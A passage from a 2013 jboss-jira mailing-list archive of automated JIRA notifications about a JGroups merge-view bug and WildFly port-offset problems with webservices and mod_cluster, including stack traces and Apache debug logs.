>                 Key: JGRP-1705
>                 URL: https://issues.jboss.org/browse/JGRP-1705
>             Project: JGroups
>          Issue Type: Bug
>    Affects Versions: 3.4
>            Reporter: Karim AMMOUS
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>         Attachments: JIRA-MERGE-1subGroup-Shutdown.log, JIRA-MERGE-1subGroup.log
>
>
> Under some conditions, MERGE3 handles fake merge views. After "merge", number of members that form the cluster still the same and the mergeView contains only one subgroup.
> Scenario:
> - Form a large cluster (1115 mbrs)
> - Enable MERGE3 TRACE logging level on coordintor member (172.29.190.5)
> - Reboot one machine (172.29.190.5) hosting 7 JVMs
> - Coord install a new view with 1108 mbrs.
> When new members join the cluster we observe a merge view formed by only one subgroup.
> Coordinator log file was attached to this JIRA.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 06:43:45 2013
From: jira-events at lists.jboss.org (jaikiran pai (JIRA))
Date: Wed, 25 Sep 2013 06:43:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1786) webservices no longer use
	port-offset
In-Reply-To: <JIRA.12497644.1375220036000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497644.1375220036000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497644.1375220036000.3436.1380105825417@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1786?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

jaikiran pai reassigned WFLY-1786:
----------------------------------

    Assignee: jaikiran pai  (was: Alessio Soldano)

    
> webservices no longer use port-offset
> -------------------------------------
>
>                 Key: WFLY-1786
>                 URL: https://issues.jboss.org/browse/WFLY-1786
>             Project: WildFly
>          Issue Type: Bug
>          Components: Web Services
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Frank Langelage
>            Assignee: jaikiran pai
>             Fix For: 8.0.0.Beta1
>
>
> One of todays commits broke the Webservice usage for me.
> Version c76e3615464ed8d616ba3b84eea0c31185d07a0f was OK.
> Version 101d67aa894bca663464c67988a6889496a47158 is broken.
> I start wildfly with a port-offset of 700, so http-port is 8780.
> But looking at the console app under localhost:10690 - Runtime - Subsystems - Webservices all WSDL url are now http://server:8080/....
> port-offset not used here.
> So the consequence is
> 23:02:45,038 FATAL [javax.enterprise.resource.webcontainer.jsf.context#log] /Template.xhtml: Could not send Message.: javax.el.ELException: /Template.xhtml: Could not send Message.
>     at com.sun.faces.facelets.compiler.AttributeInstruction.write(AttributeInstruction.java:96) [jsf-impl-2.2.1-jbossorg-1.jar:]
>     at com.sun.faces.facelets.compiler.UIInstructions.encodeBegin(UIInstructions.java:82) [jsf-impl-2.2.1-jbossorg-1.jar:]
>     at com.sun.faces.facelets.compiler.UILeaf.encodeAll(UILeaf.java:207) [jsf-impl-2.2.1-jbossorg-1.jar:]
>     at javax.faces.component.UIComponent.encodeAll(UIComponent.java:1899) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
>     at com.sun.faces.application.view.FaceletViewHandlingStrategy.renderView(FaceletViewHandlingStrategy.java:451) [jsf-impl-2.2.1-jbossorg-1.jar:]
>     at com.sun.faces.application.view.MultiViewHandler.renderView(MultiViewHandler.java:131) [jsf-impl-2.2.1-jbossorg-1.jar:]
>     at javax.faces.application.ViewHandlerWrapper.renderView(ViewHandlerWrapper.java:337) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
>     at javax.faces.application.ViewHandlerWrapper.renderView(ViewHandlerWrapper.java:337) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
>     at javax.faces.application.ViewHandlerWrapper.renderView(ViewHandlerWrapper.java:337) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
>     at com.sun.faces.lifecycle.RenderResponsePhase.execute(RenderResponsePhase.java:120) [jsf-impl-2.2.1-jbossorg-1.jar:]
>     at com.sun.faces.lifecycle.Phase.doPhase(Phase.java:101) [jsf-impl-2.2.1-jbossorg-1.jar:]
>     at com.sun.faces.lifecycle.LifecycleImpl.render(LifecycleImpl.java:219) [jsf-impl-2.2.1-jbossorg-1.jar:]
>     at javax.faces.webapp.FacesServlet.service(FacesServlet.java:647) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
>     at io.undertow.servlet.handlers.ServletHandler.handleRequest(ServletHandler.java:87) [undertow-servlet-1.0.0.Beta5.jar:1.0.0.Beta5]
>     at io.undertow.servlet.handlers.FilterHandler.handleRequest(FilterHandler.java:82) [undertow-servlet-1.0.0.Beta5.jar:1.0.0.Beta5]
>     at io.undertow.servlet.handlers.security.ServletSecurityRoleHandler.handleRequest(ServletSecurityRoleHandler.java:54) [undertow-servlet-1.0.0.Beta5.jar:1.0.0.Beta5]
>     at io.undertow.servlet.handlers.ServletDispatchingHandler.handleRequest(ServletDispatchingHandler.java:36) [undertow-servlet-1.0.0.Beta5.jar:1.0.0.Beta5]
>     at org.wildfly.extension.undertow.security.SecurityContextAssociationHandler.handleRequest(SecurityContextAssociationHandler.java:78)
>     at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:25) [undertow-core-1.0.0.Beta5.jar:1.0.0.Beta5]
>     at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:25) [undertow-core-1.0.0.Beta5.jar:1.0.0.Beta5]
>     at io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:186) [undertow-servlet-1.0.0.Beta5.jar:1.0.0.Beta5]
>     at io.undertow.servlet.handlers.ServletInitialHandler.dispatchToPath(ServletInitialHandler.java:130) [undertow-servlet-1.0.0.Beta5.jar:1.0.0.Beta5]
>     at io.undertow.servlet.spec.RequestDispatcherImpl.forward(RequestDispatcherImpl.java:140) [undertow-servlet-1.0.0.Beta5.jar:1.0.0.Beta5]
>     at io.undertow.servlet.handlers.security.ServletFormAuthenticationMechanism.servePage(ServletFormAuthenticationMechanism.java:39) [undertow-servlet-1.0.0.Beta5.jar:1.0.0.Beta5]
>     at io.undertow.security.impl.FormAuthenticationMechanism.sendChallenge(FormAuthenticationMechanism.java:156) [undertow-core-1.0.0.Beta5.jar:1.0.0.Beta5]
>     at io.undertow.security.impl.SecurityContextImpl$ChallengeSender.transition(SecurityContextImpl.java:328) [undertow-core-1.0.0.Beta5.jar:1.0.0.Beta5]
>     at io.undertow.security.impl.SecurityContextImpl$ChallengeSender.transition(SecurityContextImpl.java:347) [undertow-core-1.0.0.Beta5.jar:1.0.0.Beta5]
>     at io.undertow.security.impl.SecurityContextImpl$ChallengeSender.access$300(SecurityContextImpl.java:312) [undertow-core-1.0.0.Beta5.jar:1.0.0.Beta5]
>     at io.undertow.security.impl.SecurityContextImpl.sendChallenges(SecurityContextImpl.java:135) [undertow-core-1.0.0.Beta5.jar:1.0.0.Beta5]
>     at io.undertow.security.impl.SecurityContextImpl.authTransition(SecurityContextImpl.java:109) [undertow-core-1.0.0.Beta5.jar:1.0.0.Beta5]
>     at io.undertow.security.impl.SecurityContextImpl.authTransition(SecurityContextImpl.java:114) [undertow-core-1.0.0.Beta5.jar:1.0.0.Beta5]
>     at io.undertow.security.impl.SecurityContextImpl.authenticate(SecurityContextImpl.java:99) [undertow-core-1.0.0.Beta5.jar:1.0.0.Beta5]
>     at io.undertow.security.handlers.AuthenticationCallHandler.handleRequest(AuthenticationCallHandler.java:50) [undertow-core-1.0.0.Beta5.jar:1.0.0.Beta5]
>     at io.undertow.security.handlers.AuthenticationConstraintHandler.handleRequest(AuthenticationConstraintHandler.java:51) [undertow-core-1.0.0.Beta5.jar:1.0.0.Beta5]
>     at io.undertow.security.handlers.AbstractConfidentialityHandler.handleRequest(AbstractConfidentialityHandler.java:45) [undertow-core-1.0.0.Beta5.jar:1.0.0.Beta5]
>     at io.undertow.servlet.handlers.security.ServletSecurityConstraintHandler.handleRequest(ServletSecurityConstraintHandler.java:55) [undertow-servlet-1.0.0.Beta5.jar:1.0.0.Beta5]
>     at io.undertow.security.handlers.AuthenticationMechanismsHandler.handleRequest(AuthenticationMechanismsHandler.java:58) [undertow-core-1.0.0.Beta5.jar:1.0.0.Beta5]
>     at io.undertow.servlet.handlers.security.CachedAuthenticatedSessionHandler.handleRequest(CachedAuthenticatedSessionHandler.java:65) [undertow-servlet-1.0.0.Beta5.jar:1.0.0.Beta5]
>     at io.undertow.security.handlers.SecurityInitialHandler.handleRequest(SecurityInitialHandler.java:70) [undertow-core-1.0.0.Beta5.jar:1.0.0.Beta5]
>     at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:25) [undertow-core-1.0.0.Beta5.jar:1.0.0.Beta5]
>     at org.wildfly.extension.undertow.security.SecurityContextCreationHandler.handleRequest(SecurityContextCreationHandler.java:54)
>     at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:25) [undertow-core-1.0.0.Beta5.jar:1.0.0.Beta5]
>     at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest(ServletInitialHandler.java:197) [undertow-servlet-1.0.0.Beta5.jar:1.0.0.Beta5]
>     at io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:184) [undertow-servlet-1.0.0.Beta5.jar:1.0.0.Beta5]
>     at io.undertow.servlet.handlers.ServletInitialHandler.access$000(ServletInitialHandler.java:59) [undertow-servlet-1.0.0.Beta5.jar:1.0.0.Beta5]
>     at io.undertow.servlet.handlers.ServletInitialHandler$1.handleRequest(ServletInitialHandler.java:119) [undertow-servlet-1.0.0.Beta5.jar:1.0.0.Beta5]
>     at io.undertow.server.HttpHandlers.executeRootHandler(HttpHandlers.java:36) [undertow-core-1.0.0.Beta5.jar:1.0.0.Beta5]
>     at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:629) [undertow-core-1.0.0.Beta5.jar:1.0.0.Beta5]
>     at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_40-ea]
>     at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_40-ea]
>     at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_40-ea]
> Caused by: javax.xml.ws.WebServiceException: Could not send Message.
>     at org.apache.cxf.jaxws.JaxWsClientProxy.invoke(JaxWsClientProxy.java:145)
>     at com.sun.proxy.$Proxy287.getTranslation(Unknown Source)
>     at biz.mbisoftware.web.model.common.SynonymMap.getTranslation(SynonymMap.java:49) [classes:]
>     at biz.mbisoftware.web.model.common.SynonymMap.getTranslation(SynonymMap.java:66) [classes:]
>     at biz.mbisoftware.web.model.common.TranslationMap.get(TranslationMap.java:90) [classes:]
>     at biz.mbisoftware.web.utility.LocaleHelper.getTranslation(LocaleHelper.java:243) [classes:]
>     at biz.mbisoftware.web.model.core.SettingsModel.<init>(SettingsModel.java:88) [classes:]
>     at biz.mbisoftware.web.model.core.SettingsModel$Proxy$_$$_WeldClientProxy.<init>(Unknown Source) [classes:]
>     at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method) [rt.jar:1.7.0_40-ea]
>     at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:57) [rt.jar:1.7.0_40-ea]
>     at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45) [rt.jar:1.7.0_40-ea]
>     at java.lang.reflect.Constructor.newInstance(Constructor.java:526) [rt.jar:1.7.0_40-ea]
>     at java.lang.Class.newInstance(Class.java:374) [rt.jar:1.7.0_40-ea]
>     at org.jboss.weld.security.NewInstanceAction.run(NewInstanceAction.java:33) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
>     at java.security.AccessController.doPrivileged(Native Method) [rt.jar:1.7.0_40-ea]
>     at org.jboss.weld.bean.proxy.ProxyFactory.create(ProxyFactory.java:274) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
>     at org.jboss.weld.bean.proxy.ClientProxyFactory.create(ClientProxyFactory.java:110) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
>     at org.jboss.weld.bean.proxy.ClientProxyProvider.createClientProxy(ClientProxyProvider.java:165) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
>     at org.jboss.weld.bean.proxy.ClientProxyProvider.createClientProxy(ClientProxyProvider.java:155) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
>     at org.jboss.weld.bean.proxy.ClientProxyProvider.access$000(ClientProxyProvider.java:49) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
>     at org.jboss.weld.bean.proxy.ClientProxyProvider$1.load(ClientProxyProvider.java:57) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
>     at org.jboss.weld.bean.proxy.ClientProxyProvider$1.load(ClientProxyProvider.java:53) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
>     at com.google.common.cache.LocalCache$LoadingValueReference.loadFuture(LocalCache.java:3589) [guava-13.0.1.jar:]
>     at com.google.common.cache.LocalCache$Segment.loadSync(LocalCache.java:2374) [guava-13.0.1.jar:]
>     at com.google.common.cache.LocalCache$Segment.lockedGetOrLoad(LocalCache.java:2337) [guava-13.0.1.jar:]
>     at com.google.common.cache.LocalCache$Segment.get(LocalCache.java:2252) [guava-13.0.1.jar:]
>     at com.google.common.cache.LocalCache.get(LocalCache.java:3990) [guava-13.0.1.jar:]
>     at com.google.common.cache.LocalCache.getOrLoad(LocalCache.java:3994) [guava-13.0.1.jar:]
>     at com.google.common.cache.LocalCache$LocalLoadingCache.get(LocalCache.java:4878) [guava-13.0.1.jar:]
>     at org.jboss.weld.util.cache.LoadingCacheUtils.getCacheValue(LoadingCacheUtils.java:54) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
>     at org.jboss.weld.util.cache.LoadingCacheUtils.getCastCacheValue(LoadingCacheUtils.java:82) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
>     at org.jboss.weld.bean.proxy.ClientProxyProvider.getClientProxy(ClientProxyProvider.java:171) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
>     at org.jboss.weld.el.AbstractWeldELResolver.lookup(AbstractWeldELResolver.java:115) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
>     at org.jboss.weld.el.AbstractWeldELResolver.getValue(AbstractWeldELResolver.java:96) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
>     at org.jboss.as.jsf.injection.weld.ForwardingELResolver.getValue(ForwardingELResolver.java:46) [wildfly-jsf-injection-8.0.0.Alpha4-SNAPSHOT.jar:8.0.0.Alpha4-SNAPSHOT]
>     at javax.el.CompositeELResolver.getValue(CompositeELResolver.java:188) [javax.el-3.0-b07.jar:3.0-b07]
>     at com.sun.faces.el.DemuxCompositeELResolver._getValue(DemuxCompositeELResolver.java:176) [jsf-impl-2.2.1-jbossorg-1.jar:]
>     at com.sun.faces.el.DemuxCompositeELResolver.getValue(DemuxCompositeELResolver.java:203) [jsf-impl-2.2.1-jbossorg-1.jar:]
>     at com.sun.el.parser.AstIdentifier.getValue(AstIdentifier.java:116) [javax.el-3.0-b07.jar:3.0-b07]
>     at com.sun.el.parser.AstValue.getBase(AstValue.java:151) [javax.el-3.0-b07.jar:3.0-b07]
>     at com.sun.el.parser.AstValue.getValue(AstValue.java:200) [javax.el-3.0-b07.jar:3.0-b07]
>     at com.sun.el.ValueExpressionImpl.getValue(ValueExpressionImpl.java:226) [javax.el-3.0-b07.jar:3.0-b07]
>     at org.jboss.weld.el.WeldValueExpression.getValue(WeldValueExpression.java:50) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
>     at org.jboss.weld.el.WeldValueExpression.getValue(WeldValueExpression.java:50) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
>     at com.sun.faces.facelets.el.ELText$ELTextVariable.toString(ELText.java:217) [jsf-impl-2.2.1-jbossorg-1.jar:]
>     at com.sun.faces.facelets.compiler.AttributeInstruction.write(AttributeInstruction.java:89) [jsf-impl-2.2.1-jbossorg-1.jar:]
>     ... 50 more
> Caused by: java.net.ConnectException: ConnectException invoking http://sb2000:8080/mbi-ws/maj2e-langfr-dev/common/TranslationWS: Connection refused
>     at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method) [rt.jar:1.7.0_40-ea]
>     at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:57) [rt.jar:1.7.0_40-ea]
>     at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45) [rt.jar:1.7.0_40-ea]
>     at java.lang.reflect.Constructor.newInstance(Constructor.java:526) [rt.jar:1.7.0_40-ea]
>     at org.apache.cxf.transport.http.HTTPConduit$WrappedOutputStream.mapException(HTTPConduit.java:1334)
>     at org.apache.cxf.transport.http.HTTPConduit$WrappedOutputStream.close(HTTPConduit.java:1318)
>     at org.apache.cxf.transport.AbstractConduit.close(AbstractConduit.java:56)
>     at org.apache.cxf.transport.http.HTTPConduit.close(HTTPConduit.java:623)
>     at org.apache.cxf.interceptor.MessageSenderInterceptor$MessageSenderEndingInterceptor.handleMessage(MessageSenderInterceptor.java:62)
>     at org.apache.cxf.phase.PhaseInterceptorChain.doIntercept(PhaseInterceptorChain.java:271)
>     at org.apache.cxf.endpoint.ClientImpl.doInvoke(ClientImpl.java:541)
>     at org.apache.cxf.endpoint.ClientImpl.invoke(ClientImpl.java:474)
>     at org.apache.cxf.endpoint.ClientImpl.invoke(ClientImpl.java:377)
>     at org.apache.cxf.endpoint.ClientImpl.invoke(ClientImpl.java:330)
>     at org.apache.cxf.frontend.ClientProxy.invokeSync(ClientProxy.java:96)
>     at org.apache.cxf.jaxws.JaxWsClientProxy.invoke(JaxWsClientProxy.java:134)
>     ... 95 more
> Caused by: java.net.ConnectException: Connection refused
>     at java.net.PlainSocketImpl.socketConnect(Native Method) [rt.jar:1.7.0_40-ea]
>     at java.net.AbstractPlainSocketImpl.doConnect(AbstractPlainSocketImpl.java:339) [rt.jar:1.7.0_40-ea]
>     at java.net.AbstractPlainSocketImpl.connectToAddress(AbstractPlainSocketImpl.java:200) [rt.jar:1.7.0_40-ea]
>     at java.net.AbstractPlainSocketImpl.connect(AbstractPlainSocketImpl.java:182) [rt.jar:1.7.0_40-ea]
>     at java.net.SocksSocketImpl.connect(SocksSocketImpl.java:392) [rt.jar:1.7.0_40-ea]
>     at java.net.Socket.connect(Socket.java:579) [rt.jar:1.7.0_40-ea]
>     at sun.net.NetworkClient.doConnect(NetworkClient.java:175) [rt.jar:1.7.0_40-ea]
>     at sun.net.www.http.HttpClient.openServer(HttpClient.java:432) [rt.jar:1.7.0_40-ea]
>     at sun.net.www.http.HttpClient.openServer(HttpClient.java:527) [rt.jar:1.7.0_40-ea]
>     at sun.net.www.http.HttpClient.<init>(HttpClient.java:211) [rt.jar:1.7.0_40-ea]
>     at sun.net.www.http.HttpClient.New(HttpClient.java:308) [rt.jar:1.7.0_40-ea]
>     at sun.net.www.http.HttpClient.New(HttpClient.java:326) [rt.jar:1.7.0_40-ea]
>     at sun.net.www.protocol.http.HttpURLConnection.getNewHttpClient(HttpURLConnection.java:996) [rt.jar:1.7.0_40-ea]
>     at sun.net.www.protocol.http.HttpURLConnection.plainConnect(HttpURLConnection.java:932) [rt.jar:1.7.0_40-ea]
>     at sun.net.www.protocol.http.HttpURLConnection.connect(HttpURLConnection.java:850) [rt.jar:1.7.0_40-ea]
>     at sun.net.www.protocol.http.HttpURLConnection.getOutputStream(HttpURLConnection.java:1091) [rt.jar:1.7.0_40-ea]
>     at org.apache.cxf.transport.http.URLConnectionHTTPConduit$URLConnectionWrappedOutputStream.setupWrappedStream(URLConnectionHTTPConduit.java:168)
>     at org.apache.cxf.transport.http.HTTPConduit$WrappedOutputStream.handleHeadersTrustCaching(HTTPConduit.java:1278)
>     at org.apache.cxf.transport.http.HTTPConduit$WrappedOutputStream.onFirstWrite(HTTPConduit.java:1234)
>     at org.apache.cxf.transport.http.URLConnectionHTTPConduit$URLConnectionWrappedOutputStream.onFirstWrite(URLConnectionHTTPConduit.java:195)
>     at org.apache.cxf.io.AbstractWrappedOutputStream.write(AbstractWrappedOutputStream.java:47)
>     at org.apache.cxf.io.AbstractThresholdOutputStream.write(AbstractThresholdOutputStream.java:69)
>     at org.apache.cxf.transport.http.HTTPConduit$WrappedOutputStream.close(HTTPConduit.java:1291)
>     ... 105 more

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 07:17:45 2013
From: jira-events at lists.jboss.org (jaikiran pai (JIRA))
Date: Wed, 25 Sep 2013 07:17:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2125) wildfly8 can't identify
	port-offset
In-Reply-To: <JIRA.12501168.1379906107000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501168.1379906107000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501168.1379906107000.3505.1380107865452@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2125?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807200#comment-12807200 ] 

jaikiran pai commented on WFLY-2125:
------------------------------------

I just sent a PR https://github.com/wildfly/wildfly/pull/5140 which should fix this issue too.

                
> wildfly8 can't identify port-offset
> -----------------------------------
>
>                 Key: WFLY-2125
>                 URL: https://issues.jboss.org/browse/WFLY-2125
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Clustering
>    Affects Versions: 8.0.0.Alpha4
>         Environment: wildfly-8.0.0.Alpha4.tar.gz
> jdk-7u25-linux-i586.rpm
> mod_cluster-1.2.0.Final-linux2-x64-ssl.tar.gz
>            Reporter: hui gao
>            Assignee: Paul Ferraro
>
> I installed wildfly8 and mod_cluster  reference steps of https://docs.jboss.org/author/display/AS72/AS7+Cluster+Howto
> The cluster contains four servers,start up with domain mode:
> 10.19.222.52:server1/server2
> 10.19.222.53:server3/server4
> 10.19.222.50:apache
> But it only detects server1 and server3 which the port is 8009.
> The port-offset is 100,it can't identify the other port(8109) for server2 and server4.
> Search errorlog of Apache ,the proxy:AJP always acquired connection through initial AJP port(8009) defined in domain.xml.
> [Fri Sep 13 21:07:40 2013] [debug] mod_proxy_cluster.c(773): ajp_cping_cpong: Done
> [Fri Sep 13 21:07:40 2013] [debug] proxy_util.c(2029): proxy: ajp: has released connection for (10.19.222.52)
> [Fri Sep 13 21:07:43 2013] [debug] proxy_util.c(2011): proxy: ajp: has acquired connection for (10.19.222.53)
> [Fri Sep 13 21:07:43 2013] [debug] proxy_util.c(2067): proxy: connecting ajp://10.19.222.53:8009/ to 10.19.222.53:8009
> [Fri Sep 13 21:07:43 2013] [debug] proxy_util.c(2193): proxy: connected ajp://10.19.222.53:8009/ to 10.19.222.53:8009
> [Fri Sep 13 21:07:43 2013] [debug] mod_proxy_cluster.c(773): ajp_cping_cpong: Done
> [Fri Sep 13 21:07:43 2013] [debug] proxy_util.c(2029): proxy: ajp: has released connection for (10.19.222.53)
> [Fri Sep 13 21:07:45 2013] [debug] proxy_util.c(2011): proxy: ajp: has acquired connection for (10.19.222.52)
> [Fri Sep 13 21:07:45 2013] [debug] proxy_util.c(2067): proxy: connecting ajp://10.19.222.52:8009/ to 10.19.222.52:8009
> [Fri Sep 13 21:07:45 2013] [debug] proxy_util.c(2193): proxy: connected ajp://10.19.222.52:8009/ to 10.19.222.52:8009
> [Fri Sep 13 21:07:45 2013] [debug] mod_proxy_cluster.c(773): ajp_cping_cpong: Done
> [Fri Sep 13 21:07:45 2013] [debug] proxy_util.c(2029): proxy: ajp: has released connection for (10.19.222.52)
> [Fri Sep 13 21:07:46 2013] [debug] mod_manager.c(1667): manager_trans STATUS (/)
> [Fri Sep 13 21:07:46 2013] [debug] mod_manager.c(2323): manager_handler STATUS (/) processing: "JVMRoute=2644d861-0ead-352c-ba1e-619f1e1f25e8&Load=100"
> [Fri Sep 13 21:07:46 2013] [debug] mod_manager.c(1404): Processing STATUS
> [Fri Sep 13 21:07:46 2013] [debug] proxy_util.c(2011): proxy: ajp: has acquired connection for (10.19.222.53)
> [Fri Sep 13 21:07:46 2013] [debug] proxy_util.c(2067): proxy: connecting ajp://10.19.222.53:8009/ to 10.19.222.53:8009
> [Fri Sep 13 21:07:46 2013] [debug] proxy_util.c(2193): proxy: connected ajp://10.19.222.53:8009/ to 10.19.222.53:8009
> [Fri Sep 13 21:07:46 2013] [debug] mod_proxy_cluster.c(773): ajp_cping_cpong: Done
> [Fri Sep 13 21:07:46 2013] [debug] proxy_util.c(2029): proxy: ajp: has released connection for (10.19.222.53)
> [Fri Sep 13 21:07:46 2013] [debug] mod_manager.c(2366): manager_handler STATUS  OK
> [Fri Sep 13 21:07:47 2013] [debug] mod_manager.c(1667): manager_trans STATUS (/)
> [Fri Sep 13 21:07:47 2013] [debug] mod_manager.c(2323): manager_handler STATUS (/) processing: "JVMRoute=ea81701b-f847-34a8-9534-0ac5c489af90&Load=100"
> [Fri Sep 13 21:07:47 2013] [debug] mod_manager.c(1404): Processing STATUS
> [Fri Sep 13 21:07:47 2013] [debug] proxy_util.c(2011): proxy: ajp: has acquired connection for (10.19.222.52)
> [Fri Sep 13 21:07:47 2013] [debug] proxy_util.c(2067): proxy: connecting ajp://10.19.222.52:8009/ to 10.19.222.52:8009
> [Fri Sep 13 21:07:47 2013] [debug] proxy_util.c(2193): proxy: connected ajp://10.19.222.52:8009/ to 10.19.222.52:8009

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 07:17:45 2013
From: jira-events at lists.jboss.org (jaikiran pai (JIRA))
Date: Wed, 25 Sep 2013 07:17:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2125) wildfly8 can't identify
	port-offset
In-Reply-To: <JIRA.12501168.1379906107000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501168.1379906107000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501168.1379906107000.3512.1380107865799@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2125?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

jaikiran pai reassigned WFLY-2125:
----------------------------------

    Assignee: jaikiran pai  (was: Paul Ferraro)

    
> wildfly8 can't identify port-offset
> -----------------------------------
>
>                 Key: WFLY-2125
>                 URL: https://issues.jboss.org/browse/WFLY-2125
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Clustering
>    Affects Versions: 8.0.0.Alpha4
>         Environment: wildfly-8.0.0.Alpha4.tar.gz
> jdk-7u25-linux-i586.rpm
> mod_cluster-1.2.0.Final-linux2-x64-ssl.tar.gz
>            Reporter: hui gao
>            Assignee: jaikiran pai
>
> I installed wildfly8 and mod_cluster  reference steps of https://docs.jboss.org/author/display/AS72/AS7+Cluster+Howto
> The cluster contains four servers,start up with domain mode:
> 10.19.222.52:server1/server2
> 10.19.222.53:server3/server4
> 10.19.222.50:apache
> But it only detects server1 and server3 which the port is 8009.
> The port-offset is 100,it can't identify the other port(8109) for server2 and server4.
> Search errorlog of Apache ,the proxy:AJP always acquired connection through initial AJP port(8009) defined in domain.xml.
> [Fri Sep 13 21:07:40 2013] [debug] mod_proxy_cluster.c(773): ajp_cping_cpong: Done
> [Fri Sep 13 21:07:40 2013] [debug] proxy_util.c(2029): proxy: ajp: has released connection for (10.19.222.52)
> [Fri Sep 13 21:07:43 2013] [debug] proxy_util.c(2011): proxy: ajp: has acquired connection for (10.19.222.53)
> [Fri Sep 13 21:07:43 2013] [debug] proxy_util.c(2067): proxy: connecting ajp://10.19.222.53:8009/ to 10.19.222.53:8009
> [Fri Sep 13 21:07:43 2013] [debug] proxy_util.c(2193): proxy: connected ajp://10.19.222.53:8009/ to 10.19.222.53:8009
> [Fri Sep 13 21:07:43 2013] [debug] mod_proxy_cluster.c(773): ajp_cping_cpong: Done
> [Fri Sep 13 21:07:43 2013] [debug] proxy_util.c(2029): proxy: ajp: has released connection for (10.19.222.53)
> [Fri Sep 13 21:07:45 2013] [debug] proxy_util.c(2011): proxy: ajp: has acquired connection for (10.19.222.52)
> [Fri Sep 13 21:07:45 2013] [debug] proxy_util.c(2067): proxy: connecting ajp://10.19.222.52:8009/ to 10.19.222.52:8009
> [Fri Sep 13 21:07:45 2013] [debug] proxy_util.c(2193): proxy: connected ajp://10.19.222.52:8009/ to 10.19.222.52:8009
> [Fri Sep 13 21:07:45 2013] [debug] mod_proxy_cluster.c(773): ajp_cping_cpong: Done
> [Fri Sep 13 21:07:45 2013] [debug] proxy_util.c(2029): proxy: ajp: has released connection for (10.19.222.52)
> [Fri Sep 13 21:07:46 2013] [debug] mod_manager.c(1667): manager_trans STATUS (/)
> [Fri Sep 13 21:07:46 2013] [debug] mod_manager.c(2323): manager_handler STATUS (/) processing: "JVMRoute=2644d861-0ead-352c-ba1e-619f1e1f25e8&Load=100"
> [Fri Sep 13 21:07:46 2013] [debug] mod_manager.c(1404): Processing STATUS
> [Fri Sep 13 21:07:46 2013] [debug] proxy_util.c(2011): proxy: ajp: has acquired connection for (10.19.222.53)
